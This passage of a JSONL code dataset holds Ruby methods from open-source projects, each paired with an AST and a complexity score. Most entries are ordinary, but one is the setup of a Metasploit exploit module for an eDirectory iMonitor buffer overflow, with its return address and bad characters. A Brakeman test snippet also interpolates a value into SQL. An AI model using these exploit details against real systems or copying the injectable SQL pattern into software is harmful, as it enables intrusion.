block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"ORDER BY \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_color\"]}]},{\"type\":\"str\",\"children\":[\" ASC, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_type\"]}]},{\"type\":\"str\",\"children\":[\" ASC LIMIT\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},\"first\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClothingItem\"]},\"implicit_order_column=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"56168f7b-28bb-422d-b646-ffc9d1319536"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/import_export/parallel_export_service.rb","start_line":14,"raw_source":"def execute\n        log_info('Parallel project export started')\n\n        if save_exporters && save_export_archive\n          log_info('Parallel project export finished successfully')\n          execute_after_export_action(after_export_strategy)\n        else\n          notify_error\n        end\n\n      ensure\n        cleanup\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"str\",\"children\":[\"Parallel project export started\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"save_exporters\"]},{\"type\":\"send\",\"children\":[null,\"save_export_archive\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_info\",{\"type\":\"str\",\"children\":[\"Parallel project export finished successfully\"]}]},{\"type\":\"send\",\"children\":[null,\"execute_after_export_action\",{\"type\":\"send\",\"children\":[null,\"after_export_strategy\"]}]}]},{\"type\":\"send\",\"children\":[null,\"notify_error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"cleanup\"]}]}]}","id":"c7a49c57-ad27-4d08-a2e0-8da5964eb054"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/edirectory_imonitor.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in eDirectory 8.7.3\n          iMonitor service. This vulnerability was discovered by Peter\n          Winter-Smith of NGSSoftware.\n\n          NOTE: repeated exploitation attempts may cause eDirectory to crash. It does\n          not restart automatically in a default installation.\n        },\n        'Author' => [ 'Unknown', 'Matt Olney <scacynwrig[at]yahoo.com>' ],\n        'License' => BSD_LICENSE,\n        'References' => [\n          [ 'CVE', '2005-2551'],\n          [ 'OSVDB', '18703'],\n          [ 'BID', '14548'],\n        ],\n        'Privileged' => true,\n        'DefaultOptions' => {\n          'EXITFUNC' => 'thread',\n        },\n        'Payload' => {\n          'Space' => 4150,\n          'BadChars' => \"\\x00\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c\\x26\\x3d\\x2b\\x3f\\x3a\\x3b\\x2d\\x2c\\x2f\\x23\\x2e\\x5c\\x30\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows (ALL) - eDirectory 8.7.3 iMonitor', { 'Ret' => 0x63501f15 } ], # pop/pop/ret\n        ],\n        'DisclosureDate' => '2005-08-11',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(8008)\n      ]\n    )\n  end","complexity_score":6.45,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in eDirectory 8.7.3\\n\"]},{\"type\":\"str\",\"children\":[\"          iMonitor service. This vulnerability was discovered by Peter\\n\"]},{\"type\":\"str\",\"children\":[\"          Winter-Smith of NGSSoftware.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          NOTE: repeated exploitation attempts may cause eDirectory to crash. It does\\n\"]},{\"type\":\"str\",\"children\":[\"          not restart automatically in a default installation.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Matt Olney <scacynwrig[at]yahoo.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2005-2551\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"18703\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"14548\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"thread\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[4150]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000:&?%# \\n\\r/+\\u000b\\\\&=+?:;-,/#.\\\\0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows (ALL) - eDirectory 8.7.3 iMonitor\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[1666195221]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2005-08-11\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[8008]}]}]}]}]}]}","id":"8b42b163-e61e-4498-aef9-086d0173dc5f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/rules/rule/clause/changes.rb","start_line":17,"raw_source":"def satisfied_by?(pipeline, context)\n          compare_to_sha = find_compare_to_sha(pipeline, context)\n          modified_paths = find_modified_paths(pipeline, compare_to_sha)\n\n          return true unless modified_paths\n          return false if modified_paths.empty?\n\n          expanded_globs = expand_globs(context).uniq\n          return false if expanded_globs.empty?\n\n          comparison_cache_key = comparison_key(pipeline, expanded_globs, compare_to_sha)\n          changes_match?(modified_paths, expanded_globs, context, comparison_cache_key)\n        end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"satisfied_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"context\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"compare_to_sha\",{\"type\":\"send\",\"children\":[null,\"find_compare_to_sha\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"context\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"modified_paths\",{\"type\":\"send\",\"children\":[null,\"find_modified_paths\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"compare_to_sha\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified_paths\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modified_paths\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"expanded_globs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expand_globs\",{\"type\":\"lvar\",\"children\":[\"context\"]}]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expanded_globs\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"comparison_cache_key\",{\"type\":\"send\",\"children\":[null,\"comparison_key\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]},{\"type\":\"lvar\",\"children\":[\"expanded_globs\"]},{\"type\":\"lvar\",\"children\":[\"compare_to_sha\"]}]}]},{\"type\":\"send\",\"children\":[null,\"changes_match?\",{\"type\":\"lvar\",\"children\":[\"modified_paths\"]},{\"type\":\"lvar\",\"children\":[\"expanded_globs\"]},{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"lvar\",\"children\":[\"comparison_cache_key\"]}]}]}]}","id":"542d2c73-741d-41b5-aadb-53ee50c197ba"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails5.2/app/models/user.rb","start_line":20,"raw_source":"def foreign_key_thing\n    assoc_reflection = reflect_on_association(:foos)\n    foreign_key = assoc_reflection.foreign_key\n\n    User.joins(\"INNER JOIN <complex join involving custom SQL and #{foreign_key} interpolation>\")\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"foreign_key_thing\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assoc_reflection\",{\"type\":\"send\",\"children\":[null,\"reflect_on_association\",{\"type\":\"sym\",\"children\":[\"foos\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assoc_reflection\"]},\"foreign_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"joins\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INNER JOIN <complex join involving custom SQL and \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_key\"]}]},{\"type\":\"str\",\"children\":[\" interpolation>\"]}]}]}]}]}","id":"b6b5fe19-771c-4080-8b52-9d9780048514"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/generate_coverage_reports_service.rb","start_line":10,"raw_source":"def execute(base_pipeline, head_pipeline)\n      merge_request = MergeRequest.find_by_id(params[:id])\n      code_coverage_artifact = head_pipeline.pipeline_artifacts.find_by_file_type(:code_coverage)\n      return error_response(base_pipeline, head_pipeline) unless code_coverage_artifact && merge_request\n\n      {\n        status: :parsed,\n        key: key(base_pipeline, head_pipeline),\n        data: code_coverage_artifact.present.for_files(merge_request.new_paths)\n      }\n    rescue StandardError => e\n      track_exception(e, base_pipeline, head_pipeline)\n      error_response(base_pipeline, head_pipeline)\n    end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_pipeline\"]},{\"type\":\"arg\",\"children\":[\"head_pipeline\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"merge_request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"code_coverage_artifact\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]},\"pipeline_artifacts\"]},\"find_by_file_type\",{\"type\":\"sym\",\"children\":[\"code_coverage\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_coverage_artifact\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"parsed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"key\",{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code_coverage_artifact\"]},\"present\"]},\"for_files\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_request\"]},\"new_paths\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"track_exception\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]},{\"type\":\"send\",\"children\":[null,\"error_response\",{\"type\":\"lvar\",\"children\":[\"base_pipeline\"]},{\"type\":\"lvar\",\"children\":[\"head_pipeline\"]}]}]}]},null]}]}","id":"31d1fc6a-9dda-45f9-8dcc-13b15a55a796"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/workers/remote_account_refresh_worker_spec.rb","start_line":32,"raw_source":"def stub_service\n      allow(ActivityPub::FetchRemoteAccountService)\n        .to receive(:new)\n        .and_return(service)\n    end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"FetchRemoteAccountService\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"new\"]}]},\"and_return\",{\"type\":\"send\",\"children\":[null,\"service\"]}]}]}]}","id":"82ded1b5-2e75-440a-a464-d7bf8e4f16b4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/snmp/varbind.rb","start_line":20,"raw_source":"def self.decode(data)\n        list = VarBindList.new\n        varbind_data, remainder = decode_sequence(data)\n        while varbind_data != \"\"\n            varbind, varbind_data = VarBind.decode(varbind_data)\n            list << varbind\n        end\n        return list, remainder    \n    end","complexity_score":14.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decode\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBindList\"]},\"new\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"varbind_data\"]},{\"type\":\"lvasgn\",\"children\":[\"remainder\"]}]},{\"type\":\"send\",\"children\":[null,\"decode_sequence\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"varbind_data\"]},\"!=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"varbind\"]},{\"type\":\"lvasgn\",\"children\":[\"varbind_data\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VarBind\"]},\"decode\",{\"type\":\"lvar\",\"children\":[\"varbind_data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"varbind\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"remainder\"]}]}]}]}","id":"a6b362a6-b0a8-4258-b29f-d566d618bf85"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lfs_token.rb","start_line":73,"raw_source":"def basic_encoding\n      ActionController::HttpAuthentication::Basic.encode_credentials(actor_name, token)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"basic_encoding\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"HttpAuthentication\"]},\"Basic\"]},\"encode_credentials\",{\"type\":\"send\",\"children\":[null,\"actor_name\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]}]}","id":"1719c940-7a76-4092-b1f1-e102651a82e3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/json_shared_test_cases.rb","start_line":48,"raw_source":"def test_cast_value_on_write\n    x = klass.new(payload: { \"string\" => \"foo\", :symbol => :bar })\n    assert_equal({ \"string\" => \"foo\", :symbol => :bar }, x.payload_before_type_cast)\n    assert_equal({ \"string\" => \"foo\", \"symbol\" => \"bar\" }, x.payload)\n    x.save!\n    assert_equal({ \"string\" => \"foo\", \"symbol\" => \"bar\" }, x.reload.payload)\n  end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_cast_value_on_write\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"x\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"klass\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbol\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"payload_before_type_cast\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"symbol\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"string\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"symbol\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},\"reload\"]},\"payload\"]}]}]}]}","id":"c6e53c09-c08d-4542-8413-95ee4c947010"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb","start_line":1322,"raw_source":"def test_explicitly_joining_join_table\n    assert_equal owners(:blackbeard).toys, owners(:blackbeard).toys.with_pet\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explicitly_joining_join_table\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owners\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"toys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"owners\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"toys\"]},\"with_pet\"]}]}]}","id":"77069d56-c6b5-42ef-8d1f-6be6a4416f27"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/fetch_multi_test.rb","start_line":218,"raw_source":"def test_fetch_multi_with_duplicate_ids_in_transaction_returns_results_in_the_order_of_the_passed_ids\n    Item.transaction do\n      assert_equal([@joe, @bob, @joe], Item.fetch_multi(@joe.id, @bob.id, @joe.id))\n    end\n  end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_fetch_multi_with_duplicate_ids_in_transaction_returns_results_in_the_order_of_the_passed_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},{\"type\":\"ivar\",\"children\":[\"@bob\"]},{\"type\":\"ivar\",\"children\":[\"@joe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"fetch_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@bob\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@joe\"]},\"id\"]}]}]}]}]}","id":"cc730610-a10e-46b1-a9cf-511a6ceeb9bc"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/rust.rb","start_line":41,"raw_source":"def macro_closed?\n        @macro_delims.values.all?(&:zero?)\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"macro_closed?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@macro_delims\"]},\"values\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"zero?\"]}]}]}]}","id":"5ad370d6-3228-4fe9-9a68-835fcfe56156"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/data_app_session.rb","start_line":19,"raw_source":"def expired?\n    end_time.present? && end_time <= Time.zone.now\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"expired?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_time\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"end_time\"]},\"<=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]}","id":"faac6ce5-bce7-4275-b271-6048312bc19d"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/jobs/reverse_geocoding_job.rb","start_line":6,"raw_source":"def perform(klass, id)\n    return unless DawarichSettings.reverse_geocoding_enabled?\n\n    rate_limit_for_photon_api\n\n    data_fetcher(klass, id).call\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DawarichSettings\"]},\"reverse_geocoding_enabled?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"rate_limit_for_photon_api\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_fetcher\",{\"type\":\"lvar\",\"children\":[\"klass\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},\"call\"]}]}]}","id":"0e30043a-bc21-41ab-aa2a-8ee5910ed57c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/system_check/base_check.rb","start_line":87,"raw_source":"def multi_check?\n      self.class.instance_methods(false).include?(:multi_check)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"multi_check?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"instance_methods\",{\"type\":\"false\",\"children\":[]}]},\"include?\",{\"type\":\"sym\",\"children\":[\"multi_check\"]}]}]}","id":"31643b86-6d2d-4dec-8508-7563571453d7"}
